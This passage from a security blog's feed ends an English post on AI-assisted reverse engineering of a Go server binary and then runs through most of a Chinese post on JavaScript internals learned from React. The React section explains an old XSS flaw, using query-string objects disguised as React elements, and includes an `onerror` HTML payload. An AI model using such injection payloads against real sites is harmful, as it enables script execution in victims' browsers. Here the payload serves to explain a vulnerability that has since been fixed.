operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.</p><p>However, the path traversal vulnerability during file upload still exists, and it was easily identified:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10-en.jpg" alt="vulnerability"></p><p>The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.</p><p>After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; <code>/me</code> became <code>/my</code>. I thought these should be completely restored?</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11-en.jpg" alt="opus findings"></p><h2><span id="conclusion">Conclusion</span></h2><p>Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.</p><p>Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”</p><p>However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.</p><p>Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.</p><p>The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.</p><p>After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.&lt;/p&gt;
&lt;p&gt;However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.&lt;/p&gt;
&lt;p&gt;But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.&lt;/p&gt;
&lt;p&gt;To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.&lt;/p&gt;
&lt;p&gt;For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>從 React 中學習 JavaScript 底層運作</title>
    <link href="https://blog.huli.tw/2025/11/16/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:01:36.948Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子去 <a href="https://2025.jsdc.tw/">JSDC</a> 的線上前導活動分享了這個主題，想說既然都分享了，不如就寫篇文章好了。這篇文章的靈感來源以及內容其實都是來自於<a href="https://www.tenlong.com.tw/products/9786267757048">《JavaScript 重修就好》</a>。當初寫書的時候就有參考 React 原始碼中的一些東西，這篇只是把原本分散在書中的各個 React 相關章節整理起來重寫一遍。</p><p>我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。</p><p>這篇分成三個小章節：</p><ol><li>React 舊版的 XSS</li><li>從 React Fiber 學習 event loop</li><li>從 V8 bug 學習底層運作</li></ol><p>開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。</p><span id="more"></span><h2><span id="react-舊版的-xss-漏洞">React 舊版的 XSS 漏洞</span></h2><p>請問底下這段程式碼有什麼資安問題？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>看一看好像沒什麼問題？不就 render 一個 name 嗎，在 React 裡面會自動做 encode，所以就算插入一個 <code>&lt;img&gt;</code> 也不會被當作標籤解析，而是會被轉換成純文字，看起來沒問題。</p><p>若是我們繼續把這段程式碼展開，從 JSX 變成 JavaScript，大概會類似於這樣：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX 語法會在 compile 的時候變回 JavaScript，舊版會用 <code>React.createElement</code>，新版改成 <code>_jsx</code> 了，但不管 API 長怎樣，總之就是一段建立 element 的 JavaScript。</p><p>而這些 function 執行完以後就會產生所謂的 virtual DOM，再次展開成 object 的話會類似於：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>而 React 在 render 的時候，就會根據這個 object 去 render，並且展示出我們所傳入的 name。</p><p>但問題來了，像是 <code>qs</code> 這種 library，其實是支援物件的，例如說 <code>?name[test]=1</code>，name 會變成 <code>&#123;&quot;test&quot;: 1&#125;</code>，因此這個 name 雖然你怎麼看都應該是字串，但實際上可以是個物件。</p><p>儘管通常傳物件會被 React 擋掉，但你有沒有想過這些 component 其實也是個物件？那 React 是怎麼決定一個 object 到底是不是 component 的呢？</p><p>在舊版的 React 中，這個檢查非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>只要有 type 有 props，就把它看作是一個 React component。因此，如果我們的 name 是底下這樣，就會被當作是 React component 被渲染出來：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如此一來，就成功利用了這個特性，假裝是 React component 並且 render 出任意的 HTML，構造出了一個 XSS 漏洞。</p><p>這個漏洞最早在 2015 年時被 Daniel LeCheminan 發現，還寫了一篇文章：<a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>，不過原文的情境稍微不同就是了。</p><p>總之呢，這個問題被 React 關注到，開了一個 issue 進行討論：<a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>，而最後的 fix 在這：<a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>。</p><p>解法就是：Symbol。</p><p>在 React component 上加了一個 <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code>，並且在 <code>isValidElement</code> 的檢查中也把這個判斷加上，就能確保其他物件沒辦法偽造出一個 React component。</p><p>背後的原理就是 symbol 的特性，與一般的物件不一樣，symbol 就只會跟同一個 symbol 相等，而 JSON 反序列化是不支援 symbol 的，所以你只能創造出普通的物件，沒辦法做出一個 symbol，自然就偽造不了 component 了。</p><p>以後有人問你 symbol 可以用在哪裡的時候，可以拿這個案例去回答。</p><p>另外，其實除了前端，後端也是一樣的，例如說 JavaScript 的 ORM：<a href="https://sequelize.org/">Sequelize</a> 舊版本的 operator 也是用字串，例如說：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但從 v5 開始就全部換成 symbol 了，已經棄用了原本的字串：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>背後原因相同，都是資安上的考量，當初的 PR 在這裡：<a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>。</p><p>話說直播的時候有人問，那如果你可以創造出一個 symbol，是不是這些防禦就沒用了？答案是：沒錯。但通常你要能做出 symbol，要嘛你已經可以執行程式碼了，要嘛開發者要自己加一個可以建立 symbol 的 deserializer，這兩個的達成難度都滿高的。</p><h2><span id="從-react-fiber-學習-event-loop">從 React Fiber 學習 event loop</span></h2><p>2018 年的時候我寫過一篇 React fiber 相關的文章：<a href="https://blog.huli.tw/2018/03/31/react-fiber-and-lifecycles/">淺談 React Fiber 及其對 lifecycles 造成的影響</a>，而這個機制一語道破其實就是：「把同步的大 task 切成多個非同步的小 task」，藉此來避開阻塞 main thread。</p><p>那在 JavaScript 裡面，該怎麼來實作這個機制呢？要怎麼安排這些非同步的 task 呢？</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>在最早的 React 16.0.0 版本中，是用瀏覽器內建的 API：requestIdleCallback 來做的，MDN 的描述是：</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p><p>window.requestIdleCallback() 方法會插入一個函式，並在瀏覽器處於閒置時呼叫該函式。這讓開發者能在主事件迴圈中執行背景或低優先度的工作，而不會影響到像動畫或使用者輸入回應這類對延遲敏感的事件。</p></blockquote><p>把原本大的 task 切成小的 task 以後，用 <code>requestIdleCallback</code> 來安排下一個 task，讓瀏覽器在空閒的時候執行，就能不阻礙到 main thread。</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>但是在 React 16.4.0 時，被換成了另一種結合 <code>requestAnimationFrame</code>（以下簡稱 rAF） 跟 <code>postMessage</code> 的方式（這個方式其實一開始是做為沒有 <code>requestIdleCallback</code> 時的替代方案，但在這個版本被扶正，直接取代掉了 <code>requestIdleCallback</code>）。</p><p>在這個機制中，會建立兩種類型的 callback，一個是利用 rAF 安排的 callback，由瀏覽器自動觸發，而另一個則是用 <code>window.addEventListener(&#39;message&#39;, fn)</code> 安排的 callback，透過 <code>window.postMessage</code> 來觸發。</p><p>這個機制實際運作的方式是這樣的，底下每一個 tick 代表一次的 event loop，我們先安排一個 rAF，在裡面計算下次 rAF 應該觸發的時間（就是當前時間 + frame 長度(如 16ms)）：</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>接著在裡面再次呼叫 rAF 還有 postMessage，安排下一次 tick 的 callback：</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>下一步是 browser render，結束之後進入下一個 tick，然後 message handler 被觸發：</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>由於剛剛已經計算過下次 rAF 應該被觸發的時間，所以 message handler 可以趁著這段時間（可能有個 5ms 或更長） 做事，在時間到之前不斷執行小的 task。</p><p>執行完以後 rAF 會再次觸發，做跟剛剛一樣的事情，安排下一個 tick 的 callback，然後 browser render，結束這個 tick：</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>這樣的流程不斷執行下去，就是整個非同步 task 的任務安排機制了，簡單來講就是：</p><ol><li>在 rAF 裡面算出有多少時間可以執行 task 而不干擾 render</li><li>在 message handler 中盡量執行任務</li></ol><p>在 React 原始碼中，rAF 會被叫做 Animation Tick，而 message handler 叫做 Idle Tick。</p><p>那為什麼要用 postMessage 跟 message handler 呢？原因是如果用 <code>setTimeout(fn, 0)</code> 的話，有個經典的 4ms 限制，如果你不斷利用 setTimeout 來安排 task，在重複遞迴安排幾次之後，最短的執行間隔就會變成 4ms，不論你 interval 設多少都一樣。</p><p>而 postMessage 跟 message handler 則沒有這個限制，因此就選了這個。</p><p>但是用 message handler 有個缺點，那就是目前的使用方式是 <code>window.addEventListener(&#39;message&#39;, fn)</code>，因此每次安排 task 時都必須使用 <code>window.postMessage</code>，若是頁面上有別的 listener，就會一直一直被觸發。</p><p>像是有些擴充套件可能會印出所有收到的 message 來幫助 debug，可能每 30ms 左右就會收到一個，log 直接被打爆。像這樣有 side-effect 的行為顯然不是什麼好事，會干擾到其他的實作。</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>所以從 React 16.7.0 開始，就把這段改用 MessageChannel 來做了，這是另一個可以實作訊息交換的 Web API，用法跟原本的其實很像，只是多了個 port 的概念：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在程式碼的註解中也可以看到為什麼 React 不用 setTimeout，跟我剛剛講的理由是一樣的，加上這個改動的 PR 在這：<a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>。</p><p>看起來好像就是這樣了？這個機制滿合理的，透過兩種不同類型的非同步 task 做不同的事情，並且在不干擾到 render 的前提下盡量做事。</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>但是，在 React 16.12.0 時，機制又變了一次，把 rAF 也拿掉了，只留下 MessageChannel 而已，每次執行最多 5ms：</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>那為什麼要換成這個機制呢？有兩個地方有說明，第一個是 16.12.0 裡的<a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">程式碼</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>翻中文是：</p><blockquote><p>調度器會定期讓出執行權，以便主執行緒上若有其他工作（例如使用者事件）能夠被處理。預設情況下，它在每一幀中會讓出多次。它不會嘗試與畫面更新（frame）邊界對齊，因為大多數任務不需要與畫面對齊；若是需要對齊畫面更新，請使用 requestAnimationFrame。</p></blockquote><p>大意就是因為任務不需要跟畫面 render 對齊，所以就不管 render 了，反正就是一直讓出去。</p><p>第二個説明則是在 <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a> 這個 issue 中，有人問說 scheduler 是不是還在用 <code>requestIdleCallback</code> 時，dan 哥的留言：</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.<br>不行，那個（機制）觸發得太晚，會浪費 CPU 時間。對我們的使用情境來說，盡可能充分利用 CPU 非常重要，而不是等到某個閒置時間才開始做事。所以我們改成自己寫一個每 5ms 就讓出一次的循環。</p></blockquote><p>解惑了為什麼一開始把 <code>requestIdleCallback</code> 淘汰掉，因為觸發的太晚了。</p><p>那現在最新的 v19.2.0 版本的實作又是如何呢？</p><p>從<a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">程式碼</a>中可以看出來，基本上就是上面那一套機制了，沒有太多改變，一樣是用 MessageChannel 安排 task，然後每隔一段時間讓出去。</p><h3><span id="不遠的未來原生-scheduler-api">不遠的未來：原生 Scheduler API</span></h3><p>其實 Scheduler 這東西不止 React，只要需要非同步安排任務的都會用到。因此，瀏覽器其實有提供原生的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>，只是很新所以支援度不太好，但可以預見在未來可能不需要自己寫一套了，用瀏覽器原生給的會是最好的。</p><p>事實上，React 現在就有用這個實作一套了，但還是 unstable 的狀態：<a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>，原生直接支援安排不同優先順序的任務，比自己寫方便多了。</p><p>總之，從 React 對於安排非同步任務的程式碼中，可以學到幾個不同函式觸發的時機以及頻率的差別，也可以從這幾次的機制變動中，去了解為什麼 React 做出了這樣的選擇，讓我們更了解這些非同步的細節差異。</p><h2><span id="從-v8-bug-學習底層運作">從 V8 bug 學習底層運作</span></h2><p>延續剛剛講的 React fiber，在<a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">程式碼</a>中有一段 profiler 相關的部分：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>問題來了，為什麼這邊的初始值是 -0 而不是 0？這兩個有什麼差異呢？</p><p>甚至在舊一點的版本中，還先賦值成 NaN 才變成 0，這又是什麼魔法？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" 